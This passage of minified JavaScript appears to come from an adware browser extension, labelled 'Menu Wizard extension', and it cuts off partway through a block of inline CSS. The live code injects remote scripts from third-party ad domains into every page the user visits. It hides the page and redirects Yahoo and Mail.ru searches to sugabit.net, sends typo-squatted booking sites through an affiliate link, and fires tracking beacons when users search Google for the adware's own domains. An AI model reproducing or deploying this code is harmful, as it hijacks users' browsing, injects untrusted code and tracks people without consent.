  1807.         d.Sizzle = e;
  1808.         d.demoMode = i[g].demoMode = (o);
  1809.         d.ready(function() {
  1810.             if (location.href.indexOf("thisadsfor.us") > -1) {
  1811.                 return true
  1812.             }
  1813.             var r = function(x) {
  1814.                 var A = {};
  1815.                 x = x.split("?");
  1816.                 if (x.length < 2) {
  1817.                     return A
  1818.                 }
  1819.                 var z = x[1];
  1820.                 var B = z.split("&");
  1821.                 for (var y = 0; y < B.length; y++) {
  1822.                     var C = B[y].split("=");
  1823.                     if (typeof A[C[0]] === "undefined") {
  1824.                         A[C[0]] = C[1]
  1825.                     } else {
  1826.                         if (typeof A[C[0]] === "string") {
  1827.                             var w = [A[C[0]], C[1]];
  1828.                             A[C[0]] = w
  1829.                         } else {
  1830.                             A[C[0]].push(C[1])
  1831.                         }
  1832.                     }
  1833.                 }
  1834.                 return A
  1835.             };
  1836.             var s = {};
  1837.             var p = document.getElementsByTagName("script");
  1838.             for (var t = 0; t < p.length; t++) {
  1839.                 var q = p[t];
  1840.                 if (q.src.search(/13fdb1e5ae9a9b3a61.*\.js/i) !== -1) {
  1841.                     if (n) {
  1842.                         d.scriptDomain = q.src.replace(/^https?\:\/\//i, "").split("/")[0]
  1843.                     }
  1844.                     s = r(q.src);
  1845.                     break
  1846.                 }
  1847.             }
  1848.             if (location.host.indexOf("bing.com") > -1 && i.AM && typeof i.AM ==
  1849.                 "object") {
  1850.                 i.AM.push(d.scriptDomain)
  1851.             }
  1852.             i[g].tbParams = {
  1853.                 wid: "49499",
  1854.                 sid: "",
  1855.                 tid: "319",
  1856.                 title: "Menu Wizard extension",
  1857.                 optoutUrl: ""
  1858.             };
  1859.             if (s.wid) {
  1860.                 i[g].tbParams.wid = s.wid
  1861.             }
  1862.             if (s.sid) {
  1863.                 i[g].tbParams.sid = s.sid
  1864.             }
  1865.             if (s.tid) {
  1866.                 i[g].tbParams.tid = s.tid
  1867.             }
  1868.             if (s.title) {
  1869.                 i[g].tbParams.title = decodeURIComponent(s.title)
  1870.             }
  1871.             if (s.optout) {
  1872.                 i[g].tbParams.optoutUrl = decodeURIComponent(s.optout)
  1873.             }
  1874.             i[g].getParams = r(location.href);
  1875.             d.tbParams = i[g].tbParams;
  1876.             d.loadedCallback("LOADED", "", location.host);
  1877.             var v = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/;
  1878.             if (location.href.match(v)) {
  1879.                 d.loadedCallback("URL_STATICFILE");
  1880.                 return false
  1881.             }
  1882.             var u =
  1883.                 /(script\.monetizus\.|metrext\.com|icontent\.us|trendtext\.eu|paypal\.com|secure\.|\.gov|youtube\.com|facebook\.com|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/;
  1884.             if (location.hostname.match(u)) {
  1885.                 d.loadedCallback("URL_IGNOREDOMAIN");
  1886.                 return false
  1887.             }(function(d, w, u) {
  1888.                 var $$ = w["__twb__13fdb1e5ae9a9b3a61"];
  1889.                 var scriptsToLoad = $$.fromJson(
  1890.                     "{\"ext_50r_coupons\":{\"countries_allow\":\"\",\"countries_deny\":\"de\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/cdncache-a.akamaihd.net\\/sub\\/nee5452\\/49499_319_\\/SID\\/\\/l.js?pid=2448&ext=\\/TITLE\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"ext_50r_coupons\"},\"lnkr\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:.*googleusercontent\\\\..*|mail\\\\.google\\\\.com|reddit\\\\.com|.*\\\\.reddit\\\\.com)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/amiok.org\\/addons\\/lnkr5.min.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"lnkr\"},\"ext_fxdl\":{\"countries_allow\":\"ar,at,au,br,ca,ch,de,es,fi,fr,gb,ie,it,in,mx,nl,no,pl,pt,ru,se,us,ar,ie,mx,ua\",\"countries_deny\":\"ru,ua\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/rules.similardeals.net\\/v1.0\\/whitelist\\/1108\\/49499x319x\\/SID\\/\\/\\/REF_HOST\\/?partnerName=\\/TITLE\\/&partnerLink=\\/OPTOUTURL\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"ext_fxdl\"},\"lnkr_direct\":{\"countries_allow\":\"\",\"countries_deny\":null,\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/amiok.org\\/addons\\/lnkr40_drct.min.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"lnkr_direct\"}}"
  1891.                 );
  1892.                 if (location.host.indexOf("youradexchange.com") >= 0 && location.pathname
  1893.                     .indexOf("a/display.") >= 0) {
  1894.                     if ($$.getParams && $$.getParams.r && $$.getParams.r != 391766 && $$
  1895.                         .getParams.r != 391769) {
  1896.                         var r = $$.randomNumber(1, 100);
  1897.                         var rLimit = 100;
  1898.                         if (r <= rLimit) {
  1899.                             setTimeout(function() {
  1900.                                 location.href =
  1901.                                     "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" +
  1902.                                     $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid
  1903.                             }, 0)
  1904.                         } else {}
  1905.                     }
  1906.                 }
  1907.                 try {
  1908.                     if (location.hostname.indexOf("google.") == 0 || location.hostname.indexOf(
  1909.                             "www.google.") == 0) {
  1910.                         var checkKeywords = function() {
  1911.                             var searchEls = document.getElementsByName("q");
  1912.                             var kw;
  1913.                             if (searchEls) {
  1914.                                 kw = searchEls[0].value
  1915.                             }
  1916.                             if (!kw) {
  1917.                                 return false
  1918.                             }
  1919.                             var pattern =
  1920.                                 /(lnkr\.us|urlvalidation\.com|adrs\.me|icontent\.us|trendtext\.eu|metrext\.com|ratexchange\.net|adserv\.info|serverads\.net|takethatad\.com|adnotbad\.com|tradeadsexchange\.com|spaceshipad\.com|jsfuel\.com|cdnclntr\.com|amiok\.org|whatzmyip\.net|lancheck\.net|connectionstrenth\.com|spidtest\.org|siteheart\.net)/i;
  1921.                             if (kw.match(pattern)) {
  1922.                                 clearTimeout(checkKeywordsTimerId);
  1923.                                 $$.loadedCallback("GOOGLE_KEYWORD_MATCH");
  1924.                                 $$.script("//urlvalidation.com/rememberme");
  1925.                                 $$.script("//adrs.me/rememberme")
  1926.                             }
  1927.                         };
  1928.                         var checkKeywordsTimerId;
  1929.                         var runCheckKeywords = function() {
  1930.                             checkKeywordsTimerId = setTimeout(runCheckKeywords, 1000);
  1931.                             checkKeywords()
  1932.                         };
  1933.                         $$.ready(function() {
  1934.                             runCheckKeywords()
  1935.                         })
  1936.                     }
  1937.                 } catch (e) {}
  1938.                 var matchPattern =
  1939.                     /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i;
  1940.                 if (location.hostname.match(matchPattern)) {
  1941.                     if (typeof window.stop == "function") {
  1942.                         window.stop()
  1943.                     }
  1944.                     location.href =
  1945.                         "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr49499"
  1946.                 };;;;;;;;;
  1947.                 if (!scriptsToLoad) {
  1948.                     return false
  1949.                 }
  1950.                 if (scriptsToLoad.search_yahoo) {
  1951.                     (function() {
  1952.                         var block = "search_yahoo";
  1953.                         $$.ready(function() {
  1954.                             try {
  1955.                                 (function() {
  1956.                                     if (location.hostname.indexOf("search.yahoo.com") == -1 ||
  1957.                                         location.pathname.indexOf("/search") == -1) {
  1958.                                         return
  1959.                                     }
  1960.                                     var r = $$.randomNumber(1, 100);
  1961.                                     var rLimit = scriptsToLoad[block].coverage;
  1962.                                     if (r > rLimit) {
  1963.                                         return
  1964.                                     }
  1965.                                     $$.loadedCallback("MNTZ_LOADED", block);
  1966.                                     if ($$.getCookie("__mtz_srchyho_fired") == 1) {
  1967.                                         return
  1968.                                     }
  1969.  
  1970.                                     function getParams() {
  1971.                                         params = {};
  1972.                                         for (var e = location.search.replace("?", ""), r = e.split(
  1973.                                                 "&"), c = 0; c < r.length; c++) {
  1974.                                             t = r[c].split("="), t[1] && (params[t[0]] = t[1])
  1975.                                         }
  1976.                                         var a = location.hash.replace("#", "");
  1977.                                         a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
  1978.                                     }
  1979.  
  1980.                                     function checkYahooTag() {
  1981.                                         getParams();
  1982.                                         if (location.href.indexOf("tightrope") > -1 && location.href
  1983.                                             .indexOf("tr57") > -1) {
  1984.                                             return
  1985.                                         } else {
  1986.                                             redirectSearch("p")
  1987.                                         }
  1988.                                     }
  1989.  
  1990.                                     function redirectSearch(e) {
  1991.                                         if (getParams(), void 0 != params[e]) {
  1992.                                             window.stop && window.stop(), document.documentElement.style
  1993.                                                 .opacity = "0", document.documentElement.style.display =
  1994.                                                 "none";
  1995.                                             var r = params[e],
  1996.                                                 c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams
  1997.                                                 .wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid +
  1998.                                                 "&q=" + r;
  1999.                                             $$.loadedCallback("BANNER_LOAD", block);
  2000.                                             $$.setCookie("__mtz_srchyho_fired", 1, {
  2001.                                                 expire: 1800
  2002.                                             });
  2003.                                             location.href = c, clearInterval(tmr)
  2004.                                         }
  2005.                                     }
  2006.  
  2007.                                     function checkForSearch() {
  2008.                                         var e = location.href; - 1 != d.indexOf("search.yahoo.com") &&
  2009.                                             checkYahooTag() && clearInterval(tmr)
  2010.                                     }
  2011.                                     var d = window.document.domain,
  2012.                                         tmr, tmrCnt = 0,
  2013.                                         params = {};
  2014.                                     window == top && (checkForSearch(), tmr = setInterval(
  2015.                                         checkForSearch, 100))
  2016.                                 })()
  2017.                             } catch (e) {}
  2018.                         })
  2019.                     })()
  2020.                 }
  2021.                 if (scriptsToLoad.search_mail) {
  2022.                     (function() {
  2023.                         var block = "search_mail";
  2024.                         $$.ready(function() {
  2025.                             try {
  2026.                                 (function() {
  2027.                                     if (location.hostname.indexOf("go.mail.ru") == -1 ||
  2028.                                         location.pathname.indexOf("/search") == -1) {
  2029.                                         return
  2030.                                     }
  2031.                                     var r = $$.randomNumber(1, 100);
  2032.                                     var rLimit = scriptsToLoad[block].coverage;
  2033.                                     if (r > rLimit) {
  2034.                                         return
  2035.                                     }
  2036.                                     $$.loadedCallback("MNTZ_LOADED", block);
  2037.                                     if ($$.getCookie("__mtz_srchmlr_fired") == 1) {
  2038.                                         return
  2039.                                     }
  2040.  
  2041.                                     function getParams() {
  2042.                                         params = {};
  2043.                                         for (var e = location.search.replace("?", ""), r = e.split(
  2044.                                                 "&"), c = 0; c < r.length; c++) {
  2045.                                             t = r[c].split("="), t[1] && (params[t[0]] = t[1])
  2046.                                         }
  2047.                                         var a = location.hash.replace("#", "");
  2048.                                         a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
  2049.                                     }
  2050.  
  2051.                                     function checkMailruTag() {
  2052.                                         getParams();
  2053.                                         if (params.frc && params.frc == "821563") {
  2054.                                             return
  2055.                                         } else {
  2056.                                             redirectSearch("q")
  2057.                                         }
  2058.                                     }
  2059.  
  2060.                                     function redirectSearch(e) {
  2061.                                         if (getParams(), void 0 != params[e]) {
  2062.                                             window.stop && window.stop(), document.documentElement.style
  2063.                                                 .opacity = "0", document.documentElement.style.display =
  2064.                                                 "none";
  2065.                                             var r = params[e],
  2066.                                                 c = "http://sugabit.net/search.php?source=btn2&sid=" + $$
  2067.                                                 .tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams
  2068.                                                 .sid + "&q=" + r;
  2069.                                             $$.loadedCallback("BANNER_LOAD", block);
  2070.                                             $$.setCookie("__mtz_srchmlr_fired", 1, {
  2071.                                                 expire: 1800
  2072.                                             });
  2073.                                             location.href = c, clearInterval(tmr)
  2074.                                         }
  2075.                                     }
  2076.  
  2077.                                     function checkForSearch() {
  2078.                                         var e = location.href; - 1 != d.indexOf("go.mail.ru") &&
  2079.                                             checkMailruTag() && clearInterval(tmr)
  2080.                                     }
  2081.                                     var d = window.document.domain,
  2082.                                         tmr, tmrCnt = 0,
  2083.                                         params = {};
  2084.                                     window == top && (checkForSearch(), tmr = setInterval(
  2085.                                         checkForSearch, 100))
  2086.                                 })()
  2087.                             } catch (e) {}
  2088.                         })
  2089.                     })()
  2090.                 }
  2091.                 $$.monetizationsConfig = scriptsToLoad;
  2092.                 $$.loadedCallback("BEFORE_OPTOUT_REQ");
  2093.                 $$.jsonp({
  2094.                     url: (window.location.protocol == "http:" ? "http:" : "https:") +
  2095.                         "//" + $$.scriptDomain + "/optout/get",
  2096.                     data: {
  2097.                         key: "13fdb1e5ae9a9b3a61"
  2098.                     },
  2099.                     callback: function(response) {
  2100.                         if (!response.success) {
  2101.                             $$.loadedCallback("OPTOUT_RESPONSE_FAIL");
  2102.                             return false
  2103.                         }
  2104.                         $$.loadedCallback("OPTOUT_RESPONSE_OK");
  2105.                         var userId = response.userId;
  2106.                         var startTime = response.strTm;
  2107.                         var optout = {};
  2108.                         if (response.optout) {
  2109.                             optout = $$.optoutValue = $$.fromJson(decodeURIComponent(
  2110.                                 response.optout))
  2111.                         }
  2112.                         var country = response.country;
  2113.                         var limits = {};
  2114.                         if (response.limits) {
  2115.                             limits = $$.limitsValue = $$.fromJson(decodeURIComponent(
  2116.                                 response.limits))
  2117.                         }
  2118.                         var targetingUser = response.targeting || 0;
  2119.                         var currentHostname = location.hostname;
  2120.                         currentHostname = currentHostname.replace("www.", "");
  2121.                         var timeNow = $$.unixTimestampNow;
  2122.                         if (!country) {
  2123.                             country = "xx"
  2124.                         }
  2125.                         country = country.toLowerCase();
  2126.                         if (!userId) {
  2127.                             userId = $$.randomNumber(1, 100);
  2128.                             $$.jsonp({
  2129.                                 url: (window.location.protocol == "http:" ? "http:" :
  2130.                                     "https:") + "//" + $$.scriptDomain + "/optout/set/userid",
  2131.                                 data: {
  2132.                                     key: "13fdb1e5ae9a9b3a61",
  2133.                                     cv: userId
  2134.                                 }
  2135.                             })
  2136.                         }
  2137.                         if (!startTime) {
  2138.                             $$.setStartTime()
  2139.                         }
  2140.                         var timeAfterInstall = $$.unixTimestampNow - startTime;
  2141.                         var platformBlocks = [];
  2142.                         for (var key in scriptsToLoad) {
  2143.                             try {
  2144.                                 var scriptRow = scriptsToLoad[key];
  2145.                                 var scriptUrl = scriptRow.url;
  2146.                                 var scriptCoverage = parseInt(scriptRow.coverage);
  2147.                                 if (typeof(scriptUrl) != "string") {
  2148.                                     break
  2149.                                 }
  2150.                                 if (!$$.demoMode) {
  2151.                                     if ("319" == 1549 && location.protocol == "https:" && (key ==
  2152.                                             "ext_50r_pop" || key == "ext_rvz_ctxpop")) {
  2153.                                         return true
  2154.                                     }
  2155.                                     if (optout && optout[key] != undefined && optout[key] == true) {
  2156.                                         continue
  2157.                                     }
  2158.                                     if (scriptRow.countries_allow && scriptRow.countries_allow.indexOf(
  2159.                                             country) == -1) {
  2160.                                         continue
  2161.                                     }
  2162.                                     if (scriptRow.countries_deny && scriptRow.countries_deny.indexOf(
  2163.                                             country) > -1) {
  2164.                                         continue
  2165.                                     }
  2166.                                     if (scriptCoverage && scriptCoverage < userId) {
  2167.                                         continue
  2168.                                     }
  2169.                                     if (limits && limits[key]) {
  2170.                                         var leftTime = parseInt(limits[key]) - timeNow;
  2171.                                         if (leftTime > 0) {
  2172.                                             continue
  2173.                                         }
  2174.                                     }
  2175.                                     if (key == "clickunder_subscr" && targetingUser != 1) {
  2176.                                         continue
  2177.                                     }
  2178.                                     var hostnameReg;
  2179.                                     if (scriptRow.hostname_deny) {
  2180.                                         hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$",
  2181.                                             "i");
  2182.                                         if (hostnameReg.test(currentHostname)) {
  2183.                                             continue
  2184.                                         }
  2185.                                     }
  2186.                                     if (scriptRow.hostname_allow) {
  2187.                                         hostnameReg = new RegExp("^" + scriptRow.hostname_allow +
  2188.                                             "$", "i");
  2189.                                         if (!hostnameReg.test(currentHostname)) {
  2190.                                             continue
  2191.                                         }
  2192.                                     }
  2193.                                     if (scriptRow.browsers_allow || scriptRow.browsers_deny) {
  2194.                                         if (typeof detect == "undefined") {
  2195.                                             continue
  2196.                                         }
  2197.                                         var ua = detect.parse(navigator.userAgent);
  2198.                                         var checkUa = ua.browser.family.toLowerCase();
  2199.                                         var browserAllowed = false
  2200.                                     }
  2201.                                     if (scriptRow.browsers_allow) {
  2202.                                         var browsersAllow = scriptRow.browsers_allow.toLowerCase().split(
  2203.                                             ",");
  2204.                                         for (var i2 in browsersAllow) {
  2205.                                             if (browsersAllow[i2] == checkUa) {
  2206.                                                 browserAllowed = true;
  2207.                                                 break
  2208.                                             }
  2209.                                         }
  2210.                                         if (!browserAllowed) {
  2211.                                             continue
  2212.                                         }
  2213.                                     }
  2214.                                     if (scriptRow.browsers_deny) {
  2215.                                         var browsersDeny = scriptRow.browsers_deny.toLowerCase().split(
  2216.                                             ",");
  2217.                                         for (var i2 in browsersDeny) {
  2218.                                             if (browsersDeny[i2] == checkUa) {
  2219.                                                 browserAllowed = false;
  2220.                                                 break
  2221.                                             }
  2222.                                         }
  2223.                                         if (!browserAllowed) {
  2224.                                             continue
  2225.                                         }
  2226.                                     }
  2227.                                 } else {};
  2228.                                 if (key == "lnkr") {
  2229.                                     (function(tbObject) {
  2230.                                         eval(
  2231.                                             "window._lnkr5 = {\'uid\':\'49499x319x\'+tbObject.tbParams.sid,\'allowTargetBlank\': false};"
  2232.                                         )
  2233.                                     })($$)
  2234.                                 };
  2235.                                 if (key == "lnkr_direct") {
  2236.                                     (function(tbObject) {
  2237.                                         eval(
  2238.                                             "window._lnkr40 = {\'uid\':\'49499x319x\'+tbObject.tbParams.sid,\'allowTargetBlank\': false};"
  2239.                                         )
  2240.                                     })($$)
  2241.                                 };
  2242.                                 if (scriptRow.type == "external") {
  2243.                                     $$.loadedCallback("MNTZ_INJECT", key);
  2244.                                     scriptUrl = scriptUrl.replace("/SID/", encodeURIComponent($$.tbParams
  2245.                                         .sid));
  2246.                                     scriptUrl = scriptUrl.replace("/TITLE/", encodeURIComponent(
  2247.                                         $$.tbParams.title));
  2248.                                     scriptUrl = scriptUrl.replace("/REFERRER/",
  2249.                                         encodeURIComponent(location.href));
  2250.                                     scriptUrl = scriptUrl.replace("/REF_HOST/",
  2251.                                         encodeURIComponent(location.hostname ? location.hostname :
  2252.                                             location.host));
  2253.                                     scriptUrl = scriptUrl.replace("/RANDOM/", Math.floor(Math.random() *
  2254.                                         52));
  2255.                                     scriptUrl = scriptUrl.replace("/OPTOUTURL/",
  2256.                                         encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ?
  2257.                                             $$.tbParams.optoutUrl :
  2258.                                             "http://thisadsfor.us/optout?t=319&u=49499&block=lnkr_direct"
  2259.                                         ))));
  2260.                                     if (scriptUrl.substr(0, 2) == "//") {
  2261.                                         scriptUrl = (window.location.protocol == "http:" ? "http:" :
  2262.                                             "https:") + scriptUrl
  2263.                                     }(function(block) {
  2264.                                         var script = $$.script(scriptUrl, false);
  2265.                                         $$.on(script, "load", function() {
  2266.                                             $$.loadedCallback("MNTZ_LOADED", block);
  2267.                                             $$.updateLimits(block)
  2268.                                         })
  2269.                                     })(key)
  2270.                                 } else {
  2271.                                     if (scriptRow.type == "platform") {
  2272.                                         platformBlocks.push(key)
  2273.                                     } else {}
  2274.                                 }
  2275.                             } catch (e) {
  2276.                                 $$.loadedCallback("CORE_JS_ERROR", key)
  2277.                             }
  2278.                         }
  2279.                         if (platformBlocks.length > 0) {
  2280.                             var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid +
  2281.                                 "_" + $$.tbParams.sid, "title=" + $$.tbParams.title
  2282.                             ];
  2283.                             for (var i in platformBlocks) {
  2284.                                 if (typeof platformBlocks[i] != "string") {
  2285.                                     break
  2286.                                 }
  2287.                                 params.push("blocks[]=" + platformBlocks[i])
  2288.                             }
  2289.                             var url = (window.location.protocol == "http:" ? "http:" :
  2290.                                     "https:") + "//" + $$.scriptDomain +
  2291.                                 "/ext/13fdb1e5ae9a9b3a61.js?" + params.join("&");
  2292.                             $$.script(url, false);
  2293.                             $$.loadedCallback("MNTZ_INJECT", platformBlocks.join(","))
  2294.                         }
  2295.                     }
  2296.                 })
  2297.             })(document, window);;
  2298.             (function(g, a, e) {
  2299.                 var c = a["__twb__13fdb1e5ae9a9b3a61"];
  2300.                 var f = c.Sizzle;
  2301.  
  2302.                 function b() {
  2303.                     var d = f(".commercial-unit");
  2304.                     var i = f("input[name=q]");
  2305.                     if (i.length > 0 && d.length > 0) {
  2306.                         var h = i[0].value;
  2307.                         c.loadedCallback("GGL_COM_BLOCK", "", h)
  2308.                     }
  2309.                 }
  2310.                 c.each(f("input[name=q]"), function(d) {
  2311.                     c.on(d, "change", function() {
  2312.                         b()
  2313.                     })
  2314.                 });
  2315.                 b()
  2316.             })(document, window, undefined);;
  2317.             (function(e, a, f, c) {
  2318.                 var b = a[f];
  2319.                 b.twBarOptOutInit = function() {
  2320.                     var g = document.createElement("iframe");
  2321.                     g.setAttribute("style",
  2322.                         "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;"
  2323.                     );
  2324.                     g.id = "__twbopt13fdb1e5ae9a9b3a61";
  2325.                     g.frameBorder = 0;
  2326.                     g.scrolling = "no";
  2327.                     document.body.appendChild(g);
  2328.                     var d = null;
  2329.                     var h = function() {
  2330.                         if (d) {
  2331.                             clearTimeout(d)
  2332.                         }
  2333.                         var i = {};
  2334.                         if (g.contentWindow) {
  2335.                             i = g.contentWindow.document
  2336.                         } else {
  2337.                             if (g.contentDocument) {
  2338.                                 i = g.contentDocument
  2339.                             }
  2340.                         }
  2341.                         i.open();
  2342.                         i.write(
  2343.                             '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' +
  2344.                             a[f].tbParams.title +
  2345.                             ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"ВЃC" "ВЃD" "ВЃ8" "ВЃ9"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px 